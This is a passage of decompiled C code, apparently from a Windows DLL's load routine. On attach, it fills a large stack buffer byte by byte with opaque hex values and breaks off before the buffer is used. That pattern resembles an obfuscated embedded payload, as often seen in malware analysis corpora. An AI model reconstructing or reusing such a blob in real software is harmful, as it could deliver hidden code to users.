				char _v2409;
				char _v2410;
				char _v2411;
				char _v2412;
				char _v2413;
				char _v2414;
				char _v2415;
				char _v2416;
				char _v2417;
				char _v2418;
				char _v2419;
				char _v2420;
				char _v2421;
				char _v2422;
				char _v2423;
				char _v2424;
				char _v2425;
				char _v2426;
				char _v2427;
				char _v2428;
				char _v2429;
				char _v2430;
				char _v2431;
				char _v2432;
				char _v2433;
				char _v2434;
				char _v2435;
				char _v2436;
				char _v2437;
				char _v2438;
				char _v2439;
				char _v2440;
				char _v2441;
				char _v2442;
				char _v2443;
				char _v2444;
				char _v2445;
				char _v2446;
				char _v2447;
				char _v2448;
				char _v2449;
				char _v2450;
				char _v2451;
				char _v2452;
				char _v2453;
				char _v2454;
				char _v2455;
				char _v2456;
				char _v2457;
				char _v2458;
				char _v2459;
				char _v2460;
				char _v2461;
				char _v2462;
				char _v2463;
				char _v2464;
				char _v2465;
				char _v2466;
				char _v2467;
				char _v2468;
				char _v2469;
				char _v2470;
				char _v2471;
				char _v2472;
				char _v2473;
				char _v2474;
				char _v2475;
				char _v2476;
				char _v2477;
				char _v2478;
				char _v2479;
				char _v2480;
				char _v2481;
				char _v2482;
				char _v2483;
				char _v2484;
				char _v2485;
				char _v2486;
				char _v2487;
				char _v2488;
				char _v2489;
				char _v2490;
				char _v2491;
				char _v2492;
				char _v2493;
				char _v2494;
				char _v2495;
				char _v2496;
				char _v2497;
				char _v2498;
				char _v2499;
				char _v2500;
				char _v2501;
				char _v2502;
				char _v2503;
				char _v2504;
				char _v2505;
				char _v2506;
				char _v2507;
				char _v2508;
				char _v2509;
				char _v2510;
				char _v2511;
				char _v2512;
				char _v2513;
				char _v2514;
				char _v2515;
				char _v2516;
				char _v2517;
				char _v2518;
				char _v2519;
				char _v2520;
				char _v2521;
				char _v2522;
				char _v2523;
				char _v2524;
				char _v2525;
				char _v2526;
				char _v2527;
				char _v2528;
				char _v2529;
				char _v2530;
				char _v2531;
				char _v2532;
				char _v2533;
				char _v2534;
				char _v2535;
				char _v2536;
				char _v2537;
				char _v2538;
				char _v2539;
				char _v2540;
				char _v2541;
				char _v2542;
				char _v2543;
				char _v2544;
				char _v2545;
				char _v2546;
				char _v2547;
				char _v2548;
				char _v2549;
				char _v2550;
				char _v2551;
				char _v2552;
				char _v2553;
				char _v2554;
				char _v2555;
				char _v2556;
				char _v2557;
				char _v2558;
				char _v2559;
				char _v2560;
				char _v2561;
				char _v2562;
				char _v2563;
				char _v2564;
				char _v2565;
				char _v2566;
				char _v2567;
				char _v2568;
				char _v2569;
				char _v2570;
				char _v2571;
				char _v2572;
				char _v2573;
				char _v2574;
				char _v2575;
				char _v2576;
				char _v2577;
				char _v2578;
				char _v2579;
				char _v2580;
				char _v2581;
				char _v2582;
				char _v2583;
				char _v2584;
				char _v2585;
				char _v2586;
				char _v2587;
				char _v2588;
				char _v2589;
				char _v2590;
				char _v2591;
				char _v2592;
				char _v2593;
				char _v2594;
				char _v2595;
				char _v2596;
				char _v2597;
				char _v2598;
				char _v2599;
				char _v2600;
				char _v2601;
				char _v2602;
				char _v2603;
				char _v2604;
				char _v2605;
				char _v2606;
				char _v2607;
				char _v2608;
				char _v2609;
				char _v2610;
				char _v2611;
				char _v2612;
				char _v2613;
				char _v2614;
				char _v2615;
				char _v2616;
				char _v2617;
				char _v2618;
				char _v2619;
				char _v2620;
				char _v2621;
				char _v2622;
				char _v2623;
				char _v2624;
				char _v2625;
				char _v2626;
				char _v2627;
				char _v2628;
				char _v2629;
				char _v2630;
				char _v2631;
				char _v2632;
				char _v2633;
				char _v2634;
				char _v2635;
				char _v2636;
				char _v2637;
				char _v2638;
				char _v2639;
				char _v2640;
				char _v2641;
				char _v2642;
				char _v2643;
				char _v2644;
				char _v2645;
				char _v2646;
				char _v2647;
				char _v2648;
				char _v2649;
				char _v2650;
				char _v2651;
				char _v2652;
				char _v2653;
				char _v2654;
				char _v2655;
				char _v2656;
				char _v2657;
				char _v2658;
				char _v2659;
				char _v2660;
				char _v2661;
				char _v2662;
				char _v2663;
				char _v2664;
				char _v2665;
				char _v2666;
				char _v2667;
				char _v2668;
				char _v2669;
				char _v2670;
				char _v2671;
				char _v2672;
				char _v2673;
				char _v2674;
				char _v2675;
				char _v2676;
				char _v2677;
				char _v2678;
				char _v2679;
				char _v2680;
				char _v2681;
				char _v2682;
				char _v2683;
				char _v2684;
				char _v2685;
				char _v2686;
				char _v2687;
				char _v2688;
				char _v2689;
				char _v2690;
				char _v2691;
				char _v2692;
				char _v2693;
				char _v2694;
				char _v2695;
				char _v2696;
				char _v2697;
				char _v2698;
				char _v2699;
				char _v2700;
				char _v2701;
				char _v2702;
				char _v2703;
				char _v2704;
				char _v2705;
				char _v2706;
				char _v2707;
				char _v2708;
				char _v2709;
				char _v2710;
				char _v2711;
				char _v2712;
				char _v2713;
				char _v2714;
				char _v2715;
				char _v2716;
				char _v2717;
				char _v2718;
				char _v2719;
				char _v2720;
				char _v2721;
				char _v2722;
				char _v2723;
				char _v2724;
				char _v2725;
				char _v2726;
				char _v2727;
				char _v2728;
				char _v2729;
				char _v2730;
				char _v2731;
				char _v2732;
				char _v2733;
				char _v2734;
				char _v2735;
				char _v2736;
				char _v2737;
				char _v2738;
				char _v2739;
				char _v2740;
				char _v2741;
				char _v2742;
				char _v2743;
				char _v2744;
				char _v2745;
				char _v2746;
				char _v2747;
				char _v2748;
				char _v2749;
				char _v2750;
				char _v2751;
				char _v2752;
				char _v2753;
				char _v2754;
				char _v2755;
				char _v2756;
				char _v2757;
				char _v2758;
				char _v2759;
				char _v2760;
				char _v2761;
				char _v2762;
				char _v2763;
				char _v2764;
				char _v2765;
				char _v2766;
				char _v2767;
				char _v2768;
				char _v2769;
				char _v2770;
				char _v2771;
				char _v2772;
				char _v2773;
				char _v2774;
				char _v2775;
				char _v2776;
				char _v2777;
				char _v2778;
				char _v2779;
				char _v2780;
				char _v2781;
				char _v2782;
				char _v2783;
				char _v2784;
				char _v2785;
				char _v2786;
				char _v2787;
				char _v2788;
				char _v2789;
				char _v2790;
				char _v2791;
				char _v2792;
				char _v2793;
				char _v2794;
				char _v2795;
				char _v2796;
				char _v2797;
				char _v2798;
				char _v2799;
				char _v2800;
				char _v2801;
				char _v2802;
				char _v2803;
				char _v2804;
				char _v2805;
				char _v2806;
				char _v2807;
				char _v2808;
				char _v2809;
				char _v2810;
				char _v2811;
				char _v2812;
				char _v2813;
				char _v2814;
				char _v2815;
				char _v2816;
				char _v2817;
				char _v2818;
				char _v2819;
				char _v2820;
				char _v2821;
				char _v2822;
				char _v2823;
				char _v2824;
				char _v2825;
				char _v2826;
				char _v2827;
				char _v2828;
				char _v2829;
				char _v2830;
				char _v2831;
				char _v2832;
				char _v2833;
				char _v2834;
				char _v2835;
				char _v2836;
				char _v2837;
				char _v2838;
				char _v2839;
				char _v2840;
				char _v2841;
				char _v2842;
				char _v2843;
				char _v2844;
				char _v2845;
				char _v2846;
				char _v2847;
				char _v2848;
				char _v2849;
				char _v2850;
				char _v2851;
				char _v2852;
				char _v2853;
				char _v2854;
				char _v2855;
				char _v2856;
				char _v2857;
				char _v2858;
				char _v2859;
				char _v2860;
				char _v2861;
				char _v2862;
				char _v2863;
				char _v2864;
				char _v2865;
				char _v2866;
				char _v2867;
				char _v2868;
				char _v2869;
				char _v2870;
				char _v2871;
				char _v2872;
				char _v2873;
				char _v2874;
				char _v2875;
				char _v2876;
				char _v2877;
				char _v2878;
				char _v2879;
				char _v2880;
				char _v2881;
				char _v2882;
				char _v2883;
				char _v2884;
				char _v2885;
				char _v2886;
				char _v2887;
				char _v2888;
				char _v2889;
				char _v2890;
				char _v2891;
				char _v2892;
				char _v2893;
				char _v2894;
				char _v2895;
				char _v2896;
				char _v2897;
				char _v2898;
				char _v2899;
				char _v2900;
				char _v2901;
				char _v2902;
				char _v2903;
				char _v2904;
				char _v2905;
				char _v2906;
				char _v2907;
				char _v2908;
				char _v2909;
				char _v2910;
				char _v2911;
				char _v2912;
				char _v2913;
				char _v2914;
				char _v2915;
				char _v2916;
				char _v2917;
				char _v2918;
				char _v2919;
				char _v2920;
				char _v2921;
				char _v2922;
				char _v2923;
				char _v2924;
				char _v2925;
				char _v2926;
				char _v2927;
				char _v2928;
				char _v2929;
				char _v2930;
				char _v2931;
				char _v2932;
				char _v2933;
				char _v2934;
				char _v2935;
				char _v2936;
				char _v2937;
				char _v2938;
				char _v2939;
				char _v2940;
				char _v2941;
				char _v2942;
				char _v2943;
				char _v2944;
				char _v2945;
				char _v2946;
				char _v2947;
				char _v2948;
				char _v2949;
				char _v2950;
				char _v2951;
				char _v2952;
				char _v2953;
				char _v2954;
				char _v2955;
				char _v2956;
				char _v2957;
				char _v2958;
				char _v2959;
				char _v2960;
				char _v2961;
				char _v2962;
				char _v2963;
				char _v2964;
				char _v2965;
				char _v2966;
				char _v2967;
				char _v2968;
				char _v2969;
				char _v2970;
				char _v2971;
				char _v2972;
				char _v2973;
				char _v2974;
				char _v2975;
				char _v2976;
				char _v2977;
				char _v2978;
				char _v2979;
				char _v2980;
				char _v2981;
				char _v2982;
				char _v2983;
				char _v2984;
				char _v2985;
				char _v2986;
				char _v2987;
				char _v2988;
				char _v2989;
				char _v2990;
				char _v2991;
				char _v2992;
				char _v2993;
				char _v2994;
				char _v2995;
				char _v2996;
				char _v2997;
				char _v2998;
				char _v2999;
				char _v3000;
				char _v3001;
				char _v3002;
				char _v3003;
				char _v3004;
				char _v3005;
				char _v3006;
				char _v3007;
				char _v3008;
				char _v3009;
				char _v3010;
				char _v3011;
				char _v3012;
				char _v3013;
				char _v3014;
				char _v3015;
				char _v3016;
				char _v3017;
				char _v3018;
				char _v3019;
				char _v3020;
				char _v3021;
				char _v3022;
				char _v3023;
				char _v3024;
				char _v3025;
				char _v3026;
				char _v3027;
				char _v3028;
				char _v3029;
				char _v3030;
				char _v3031;
				char _v3032;
				char _v3033;
				char _v3034;
				char _v3035;
				char _v3036;
				char _v3037;
				char _v3038;
				char _v3039;
				char _v3040;
				char _v3041;
				char _v3042;
				char _v3043;
				char _v3044;
				char _v3045;
				char _v3046;
				char _v3047;
				char _v3048;
				char _v3049;
				char _v3050;
				char _v3051;
				char _v3052;
				char _v3053;
				char _v3054;
				char _v3055;
				char _v3056;
				char _v3057;
				char _v3058;
				char _v3059;
				char _v3060;
				char _v3061;
				char _v3062;
				char _v3063;
				char _v3064;
				char _v3065;
				char _v3066;
				char _v3067;
				char _v3068;
				char _v3069;
				char _v3070;
				char _v3071;
				char _v3072;
				char _v3073;
				char _v3074;
				char _v3075;
				char _v3076;
				char _v3077;
				char _v3078;
				char _v3079;
				char _v3080;
				char _v3081;
				char _v3082;
				char _v3083;
				char _v3084;
				char _v3085;
				char _v3086;
				char _v3087;
				char _v3088;
				char _v3089;
				char _v3090;
				char _v3091;
				char _v3092;
				char _v3093;
				char _v3094;
				char _v3095;
				char _v3096;
				char _v3097;
				char _v3098;
				char _v3099;
				char _v3100;
				char _v3101;
				char _v3102;
				char _v3103;
				char _v3104;
				char _v3105;
				char _v3106;
				char _v3107;
				char _v3108;
				char _v3109;
				char _v3110;
				char _v3111;
				char _v3112;
				char _v3113;
				char _v3114;
				char _v3115;
				char _v3116;
				char _v3117;
				char _v3118;
				char _v3119;
				char _v3120;
				char _v3121;
				char _v3122;
				char _v3123;
				char _v3124;
				char _v3125;
				char _v3126;
				char _v3127;
				char _v3128;
				char _v3129;
				char _v3130;
				char _v3131;
				char _v3132;
				char _v3133;
				char _v3134;
				char _v3135;
				char _v3136;
				char _v3137;
				char _v3138;
				char _v3139;
				char _v3140;
				char _v3141;
				char _v3142;
				char _v3143;
				char _v3144;
				char _v3145;
				char _v3146;
				char _v3147;
				char _v3148;
				char _v3149;
				char _v3150;
				char _v3151;
				char _v3152;
				char _v3153;
				char _v3154;
				char _v3155;
				char _v3156;
				char _v3157;
				char _v3158;
				char _v3159;
				char _v3160;
				char _v3161;
				char _v3162;
				char _v3163;
				char _v3164;
				char _v3165;
				char _v3166;
				char _v3167;
				char _v3168;
				char _v3169;
				char _v3170;
				char _v3171;
				char _v3172;
				char _v3173;
				char _v3174;
				char _v3175;
				char _v3176;
				char _v3177;
				char _v3178;
				char _v3179;
				char _v3180;
				char _v3181;
				char _v3182;
				char _v3183;
				char _v3184;
				char _v3185;
				char _v3186;
				char _v3187;
				char _v3188;
				char _v3189;
				char _v3190;
				char _v3191;
				char _v3192;
				char _v3193;
				char _v3194;
				char _v3195;
				char _v3196;
				char _v3197;
				char _v3198;
				char _v3199;
				char _v3200;
				char _v3201;
				char _v3202;
				char _v3203;
				char _v3204;
				char _v3205;
				char _v3206;
				char _v3207;
				char _v3208;
				char _v3209;
				char _v3210;
				char _v3211;
				char _v3212;
				char _v3213;
				char _v3214;
				char _v3215;
				char _v3216;
				char _v3217;
				char _v3218;
				char _v3219;
				char _v3220;
				char _v3221;
				char _v3222;
				char _v3223;
				char _v3224;
				char _v3225;
				char _v3226;
				char _v3227;
				char _v3228;
				char _v3229;
				char _v3230;
				char _v3231;
				char _v3232;
				char _v3233;
				char _v3234;
				char _v3235;
				char _v3236;
				char _v3237;
				char _v3238;
				char _v3239;
				char _v3240;
				char _v3241;
				char _v3242;
				char _v3243;
				char _v3244;
				char _v3245;
				char _v3246;
				char _v3247;
				char _v3248;
				char _v3249;
				char _v3250;
				char _v3251;
				char _v3252;
				char _v3253;
				char _v3254;
				char _v3255;
				char _v3256;
				char _v3257;
				char _v3258;
				char _v3259;
				char _v3260;
				char _v3261;
				char _v3262;
				char _v3263;
				char _v3264;
				char _v3265;
				char _v3266;
				char _v3267;
				char _v3268;
				char _v3269;
				char _v3270;
				char _v3271;
				char _v3272;
				long long _v3296;
				long long _v3304;
				long long _v3312;
				void* _v3320;
				signed int _t3099;
				void* _t3102;
				signed int _t3104;
				signed int _t3124;
				signed int _t3129;
				signed int _t3134;
				signed int _t3135;
				void* _t3137;
				signed short _t3138;
				signed int _t3144;
				signed int _t3149;
				int _t3151;
				int _t3155;
				int _t3156;
				int _t3157;
				signed int _t3164;
				signed int _t3249;
				signed int _t3260;
				signed int _t3263;
				signed int _t3266;
				signed int _t3268;
				signed int _t3272;
				signed int _t3311;
				signed int _t3368;
				void* _t3369;
				signed int _t3377;
				signed int _t3379;
				signed int _t3382;
				signed int _t3384;
				signed int _t3386;
				signed int _t3389;
				signed int _t3393;
				signed int _t3395;
				signed int _t3397;
				signed int _t3400;
				signed int _t3402;
				signed int _t3405;
				signed int _t3407;
				signed int _t3409;
				signed int _t3412;
				signed int _t3416;
				signed int _t3418;
				signed int _t3420;
				signed int _t3423;
				signed int _t3425;
				signed int _t3428;
				signed int _t3430;
				signed int _t3432;
				signed int _t3435;
				signed int _t3439;
				signed int _t3441;
				signed int _t3443;
				signed long long _t3449;
				signed int _t3451;
				long long _t3452;
				long long _t3459;
				long long _t3461;
				long long _t3463;
				long long _t3465;
				signed int _t3470;
				char* _t3472;
				intOrPtr _t3481;
				signed long long _t3501;

				_t3507 = __r9;
				_t3502 = __r8;
				_t3500 = __rsi;
				_t3499 = __rdi;
				_t3446 = __esi;
				_t3366 = __edx;
				_a24 = __r8;
				_a16 = __edx;
				_a8 = __rcx;
				_t3449 =  *0x10016058; // 0x9983997faf96
				_v16 = _t3449 ^ _t3501;
				_v64 = _a16;
				if(_v64 == 1) {
					_v3304 = 0;
					_t3451 = _a8;
					_v232 = _t3451;
					_v288 = 0;
					_v296 = _a16;
					_v3272 = 0x20;
					_v3271 = 0xda;
					_v3270 = 0x25;
					_v3269 = 0x4f;
					_v3268 = 0x3c;
					_v3267 = 0x3a;
					_v3266 = 0x6d;
					_v3265 = 0x60;
					_v3264 = 0x67;
					_v3263 = 0x3b;
					_v3262 = 3;
					_v3261 = 0x28;
					_v3260 = 0x12;
					_v3259 = 8;
					_v3258 = 0x2e;
					_v3257 = 0x6b;
					_v3256 = 0x63;
					_v3255 = 2;
					_v3254 = 0xf4;
					_v3253 = 0xe0;
					_v3252 = 0x50;
					_v3251 = 0x11;
					_v3250 = 0x95;
					_v3249 = 0xd6;
					_v3248 = 0xda;
					_v3247 = 0x1a;
					_v3246 = 0xe3;
					_v3245 = 0xb9;
					_v3244 = 0x80;
					_v3243 = 0x64;
					_v3242 = 0x58;
					_v3241 = 0;
					_v3240 = 0x5b;
					_v3239 = 0x93;
					_v3238 = 0xae;
					_v3237 = 0x2e;
					_v3236 = 0x3c;
					_v3235 = 4;
					_v3234 = 0x3e;
					_v3233 = 0x53;
					_v3232 = 0x30;
					_v3231 = 0x36;
					_v3230 = 0xdc;
					_v3229 = 0x80;
					_v3228 = 0xf;
					_v3227 = 0xc0;
					_v3226 = 0x3d;
					_v3225 = 0x68;
					_v3224 = 7;
					_v3223 = 0x83;
					_v3222 = 0xf0;
					_v3221 = 9;
					_v3220 = 0x3e;
					_v3219 = 0x61;
					_v3218 = 0xe3;
					_v3217 = 0x64;
					_v3216 = 0xd;
					_v3215 = 0x1a;
					_v3214 = 0xeb;
					_v3213 = 0x18;
					_v3212 = 0x48;
					_v3211 = 0x2d;
					_v3210 = 0xd1;
					_v3209 = 0x4d;
					_v3208 = 0x50;
					_v3207 = 0x17;
					_v3206 = 0xe4;
					_v3205 = 0x2a;
					_v3204 = 0x51;
					_v3203 = 0x27;
					_v3202 = 0xb7;
					_v3201 = 0x7b;
					_v3200 = 0x48;
					_v3199 = 0x32;
					_v3198 = 0xde;
					_v3197 = 0x24;
					_v3196 = 0x77;
					_v3195 = 1;
					_v3194 = 0xf1;
					_v3193 = 0x67;
					_v3192 = 0x14;
					_v3191 = 2;
					_v3190 = 0xf0;
					_v3189 = 0xc1;
					_v3188 = 0xf4;
					_v3187 = 0x29;
					_v3186 = 0x6a;
					_v3185 = 0x29;
					_v3184 = 0x6d;
					_v3183 = 0xdb;
					_v3182 = 0x2f;
					_v3181 = 5;
					_v3180 = 0;
					_v3179 = 0xec;
					_v3178 = 0x15;
					_v3177 = 0x58;
					_v3176 = 0x20;
					_v3175 = 0xda;
					_v3174 = 0x24;
					_v3173 = 0xb;
					_v3172 = 0x7c;
					_v3171 = 0xe6;
					_v3170 = 0x73;
					_v3169 = 0x5e;
					_v3168 = 0x78;
					_v3167 = 0xf3;
					_v3166 = 0x1a;
					_v3165 = 0x19;
					_v3164 = 0x21;
					_v3163 = 0xc0;
					_v3162 = 0x35;
					_v3161 = 0x6a;
					_v3160 = 0x52;
					_v3159 = 0xc3;
					_v3158 = 0x35;
					_v3157 = 0x68;
					_v3156 = 0x54;
					_v3155 = 0x90;
					_v3154 = 0x79;
					_v3153 = 0xb5;
					_v3152 = 0x9a;
					_v3151 = 0xef;
					_v3150 = 0x26;
					_v3149 = 0xdd;
					_v3148 = 0xd;
					_v3147 = 0x99;
					_v3146 = 0x1c;
					_v3145 = 0x88;
					_v3144 = 0x2d;
					_v3143 = 0xb1;
					_v3142 = 0xf;
					_v3141 = 0xe2;
					_v3140 = 0x71;
					_v3139 = 0x21;
					_v3138 = 0x76;
					_v3137 = 0xbf;
					_v3136 = 0x74;
					_v3135 = 0x5e;
					_v3134 = 0x75;
					_v3133 = 0xe0;
					_v3132 = 3;
					_v3131 = 0x6d;
					_v3130 = 0x52;
					_v3129 = 0x4c;
					_v3128 = 0xbd;
					_v3127 = 0xe;
					_v3126 = 0x5d;
					_v3125 = 0x62;
					_v3124 = 0xb3;
					_v3123 = 0x6c;
					_v3122 = 0x66;
					_v3121 = 0x5b;
					_v3120 = 0x25;
					_v3119 = 0x3c;
					_v3118 = 0x62;
					_v3117 = 0x92;
					_v3116 = 0xd;
					_v3115 = 0x75;
					_v3114 = 0x3d;
					_v3113 = 0;
					_v3112 = 4;
					_v3111 = 0x53;
					_v3110 = 0xae;
					_v3109 = 0x2e;
					_v3108 = 0x20;
					_v3107 = 0x5c;
					_v3106 = 0x3e;
					_v3105 = 4;
					_v3104 = 0x30;
					_v3103 = 0xbd;
					_v3102 = 0x12;
					_v3101 = 0x71;
					_v3100 = 0x69;
					_v3099 = 0x49;
					_v3098 = 0x1c;
					_v3097 = 0x2a;
					_v3096 = 0xf3;
					_v3095 = 0xf;
					_v3094 = 0x65;
					_v3093 = 0x20;
					_v3092 = 0x74;
					_v3091 = 0x45;
					_v3090 = 0x6a;
					_v3089 = 0xee;
					_v3088 = 0xa0;
					_v3087 = 0x7a;
					_v3086 = 0x63;
					_v3085 = 0x55;
					_v3084 = 0x48;
					_v3083 = 0x36;
					_v3082 = 0x34;
					_v3081 = 0x65;
					_v3080 = 0xd;
					_v3079 = 0x95;
					_v3078 = 0xec;
					_v3077 = 0x47;
					_v3076 = 0x35;
					_v3075 = 0x6f;
					_v3074 = 0x3e;
					_v3073 = 0x46;
					_v3072 = 0xf7;
					_v3071 = 0x3e;
					_v3070 = 0x73;
					_v3069 = 0x21;
					_v3068 = 0xb;
					_v3067 = 0x26;
					_v3066 = 0x19;
					_v3065 = 0x4e;
					_v3064 = 0xf3;
					_v3063 = 0xe;
					_v3062 = 0x5d;
					_v3061 = 0;
					_v3060 = 0x38;
					_v3059 = 0x40;
					_v3058 = 8;
					_v3057 = 0x5b;
					_v3056 = 0xe2;
					_v3055 = 0x16;
					_v3054 = 0x46;
					_v3053 = 5;
					_v3052 = 0x29;
					_v3051 = 0x17;
					_v3050 = 0x21;
					_v3049 = 0x41;
					_v3048 = 0xaf;
					_v3047 = 0x17;
					_v3046 = 0x4d;
					_v3045 = 0x53;
					_v3044 = 0x62;
					_v3043 = 6;
					_v3042 = 0x4c;
					_v3041 = 0x42;
					_v3040 = 0xf7;
					_v3039 = 0x3e;
					_v3038 = 0x73;
					_v3037 = 0x55;
					_v3036 = 0x32;
					_v3035 = 0x28;
					_v3034 = 0x14;
					_v3033 = 0x6b;
					_v3032 = 0xf3;
					_v3031 = 0xe;
					_v3030 = 0x5d;
					_v3029 = 0xc;
					_v3028 = 0x18;
					_v3027 = 0x45;
					_v3026 = 5;
					_v3025 = 0x4a;
					_v3024 = 0xe2;
					_v3023 = 0x17;
					_v3022 = 0xea;
					_v3021 = 3;
					_v3020 = 0x21;
					_v3019 = 0x17;
					_v3018 = 0x2c;
					_v3017 = 0xc7;
					_v3016 = 0x2d;
					_v3015 = 0xdf;
					_v3014 = 0x1c;
					_v3013 = 0xa;
					_v3012 = 0x58;
					_v3011 = 0x3f;
					_v3010 = 0xf9;
					_v3009 = 0x73;
					_v3008 = 0xa0;
					_v3007 = 8;
					_v3006 = 0x38;
					_v3005 = 0x1d;
					_v3004 = 0x22;
					_v3003 = 0x2f;
					_v3002 = 0xbf;
					_v3001 = 0x6f;
					_v3000 = 0xa0;
					_v2999 = 0x29;
					_v2998 = 0xd;
					_v2997 = 0x8b;
					_v2996 = 0x31;
					_v2995 = 0xc1;
					_v2994 = 0x2c;
					_v2993 = 0x45;
					_v2992 = 0x50;
					_v2991 = 0x21;
					_v2990 = 0xa5;
					_v2989 = 0x10;
					_v2988 = 0xa4;
					_v2987 = 0xd;
					_v2986 = 0x11;
					_v2985 = 0x6e;
					_v2984 = 0x1b;
					_v2983 = 0x94;
					_v2982 = 0x2c;
					_v2981 = 0x9b;
					_v2980 = 0x40;
					_v2979 = 0x1d;
					_v2978 = 0x4b;
					_v2977 = 0x55;
					_v2976 = 0xf7;
					_v2975 = 0x3f;
					_v2974 = 0xa3;
					_v2973 = 0x1d;
					_v2972 = 0x2e;
					_v2971 = 0x26;
					_v2970 = 0x16;
					_v2969 = 0xed;
					_v2968 = 0x71;
					_v2967 = 0xb2;
					_v2966 = 0x3a;
					_v2965 = 0x2d;
					_v2964 = 0x17;
					_v2963 = 0x41;
					_v2962 = 0xad;
					_v2961 = 0x6c;
					_v2960 = 0x9d;
					_v2959 = 0x15;
					_v2958 = 7;
					_v2957 = 0x21;
					_v2956 = 6;
					_v2955 = 0xa2;
					_v2954 = 0x1d;
					_v2953 = 0xbc;
					_v2952 = 9;
					_v2951 = 0x27;
					_v2950 = 0;
					_v2949 = 0x1d;
					_v2948 = 0xf3;
					_v2947 = 0x2a;
					_v2946 = 0xfe;
					_v2945 = 0x53;
					_v2944 = 0x63;
					_v2943 = 3;
					_v2942 = 0x24;
					_v2941 = 0xae;
					_v2940 = 2;
					_v2939 = 0x8d;
					_v2938 = 0xc;
					_v2937 = 0x4f;
					_v2936 = 0x59;
					_v2935 = 3;
					_v2934 = 0x1f;
					_v2933 = 0x8b;
					_v2932 = 0x31;
					_v2931 = 0xe1;
					_v2930 = 4;
					_v2929 = 0x4f;
					_v2928 = 0xe3;
					_v2927 = 0x17;
					_v2926 = 0xa8;
					_v2925 = 0x3a;
					_v2924 = 0x8f;
					_v2923 = 0x20;
					_v2922 = 0x88;
					_v2921 = 0x52;
					_v2920 = 0x1c;
					_v2919 = 0x3f;
					_v2918 = 0x28;
					_v2917 = 0xac;
					_v2916 = 0x71;
					_v2915 = 0xbb;
					_v2914 = 0x5a;
					_v2913 = 0x52;
					_v2912 = 0x76;
					_v2911 = 0xf;
					_v2910 = 0x90;
					_v2909 = 0x2c;
					_v2908 = 0x9f;
					_v2907 = 0x27;
					_v2906 = 0x1b;
					_v2905 = 0x5e;
					_v2904 = 0x5d;
					_v2903 = 0x8d;
					_v2902 = 0x3c;
					_v2901 = 0x90;
					_v2900 = 0x1b;
					_v2899 = 0x47;
					_v2898 = 0x3e;
					_v2897 = 0x48;
					_v2896 = 0x43;
					_v2895 = 0x95;
					_v2894 = 0x27;
					_v2893 = 0xb5;
					_v2892 = 0x2a;
					_v2891 = 9;
					_v2890 = 0xb0;
					_v2889 = 0x25;
					_v2888 = 0x61;
					_v2887 = 0x53;
					_v2886 = 0x69;
					_v2885 = 0xd2;
					_v2884 = 0x81;
					_v2883 = 0x2e;
					_v2882 = 0xe7;
					_v2881 = 0x68;
					_v2880 = 0x78;
					_v2879 = 0xf1;
					_v2878 = 0x8f;
					_v2877 = 0x81;
					_v2876 = 0x5f;
					_v2875 = 0x40;
					_v2874 = 0x78;
					_v2873 = 0x2a;
					_v2872 = 0x78;
					_v2871 = 0xc1;
					_v2870 = 0x99;
					_v2869 = 0x8b;
					_v2868 = 0x31;
					_v2867 = 0x69;
					_v2866 = 0x72;
					_v2865 = 0x29;
					_v2864 = 0x3d;
					_v2863 = 0x52;
					_v2862 = 0x2a;
					_v2861 = 0xd8;
					_v2860 = 0xd;
					_v2859 = 0x6d;
					_v2858 = 0x6b;
					_v2857 = 0xd2;
					_v2856 = 0x24;
					_v2855 = 0xde;
					_v2854 = 0x25;
					_v2853 = 0x4f;
					_v2852 = 4;
					_v2851 = 0x27;
					_v2850 = 0xb7;
					_v2849 = 0x73;
					_v2848 = 0x78;
					_v2847 = 0x36;
					_v2846 = 0xda;
					_v2845 = 0x2c;
					_v2844 = 7;
					_v2843 = 0x7a;
					_v2842 = 0xb1;
					_v2841 = 0xd5;
					_v2840 = 0xe7;
					_v2839 = 2;
					_v2838 = 0xf2;
					_v2837 = 0;
					_v2836 = 0x50;
					_v2835 = 0x19;
					_v2834 = 0x22;
					_v2833 = 0xa4;
					_v2832 = 0x61;
					_v2831 = 0x76;
					_v2830 = 0x5a;
					_v2829 = 0x1d;
					_v2828 = 0xc1;
					_v2827 = 0x21;
					_v2826 = 0x7c;
					_v2825 = 0x28;
					_v2824 = 0x24;
					_v2823 = 0xde;
					_v2822 = 0x24;
					_v2821 = 0x6b;
					_v2820 = 0xf3;
					_v2819 = 0x2b;
					_v2818 = 0x1a;
					_v2817 = 0x16;
					_v2816 = 0x3c;
					_v2815 = 0x7a;
					_v2814 = 0x5b;
					_v2813 = 0x69;
					_v2812 = 0xf;
					_v2811 = 0xc4;
					_v2810 = 0x2c;
					_v2809 = 0xe;
					_v2808 = 0x14;
					_v2807 = 0xf;
					_v2806 = 0x4a;
					_v2805 = 0x8c;
					_v2804 = 0x35;
					_v2803 = 0xd6;
					_v2802 = 0xbe;
					_v2801 = 0x61;
					_v2800 = 0xae;
					_v2799 = 0x1e;
					_v2798 = 0x46;
					_v2797 = 0x65;
					_v2796 = 0;
					_v2795 = 0xe8;
					_v2794 = 0x1d;
					_v2793 = 0x88;
					_v2792 = 0x2d;
					_v2791 = 0x60;
					_v2790 = 0xa9;
					_v2789 = 0x23;
					_v2788 = 0xbd;
					_v2787 = 0x2b;
					_v2786 = 0x1a;
					_v2785 = 0x1e;
					_v2784 = 0x7c;
					_v2783 = 0xf7;
					_v2782 = 0x1a;
					_v2781 = 0x59;
					_v2780 = 0x80;
					_v2779 = 0xd;
					_v2778 = 0x5c;
					_v2777 = 0xa;
					_v2776 = 0x3a;
					_v2775 = 0x4a;
					_v2774 = 0x77;
					_v2773 = 0x4c;
					_v2772 = 0x3c;
					_v2771 = 0xa4;
					_v2770 = 0x3e;
					_v2769 = 0xd;
					_v2768 = 5;
					_v2767 = 0x13;
					_v2766 = 0x9d;
					_v2765 = 0x81;
					_v2764 = 0;
					_v2763 = 0xee;
					_v2762 = 0x14;
					_v2761 = 0x24;
					_v2760 = 0x58;
					_v2759 = 0x1b;
					_v2758 = 0xe4;
					_v2757 = 0x2e;
					_v2756 = 0xdc;
					_v2755 = 0x2a;
					_v2754 = 0xd;
					_v2753 = 0xf6;
					_v2752 = 0x78;
					_v2751 = 0xf3;
					_v2750 = 0x13;
					_v2749 = 0x4d;
					_v2748 = 0x6f;
					_v2747 = 5;
					_v2746 = 0xf5;
					_v2745 = 0x67;
					_v2744 = 0xc;
					_v2743 = 0x8d;
					_v2742 = 0x3d;
					_v2741 = 0x68;
					_v2740 = 0x54;
					_v2739 = 0x3c;
					_v2738 = 0x6a;
					_v2737 = 0x3c;
					_v2736 = 0x25;
					_v2735 = 0x1a;
					_v2734 = 0xef;
					_v2733 = 1;
					_v2732 = 0x6c;
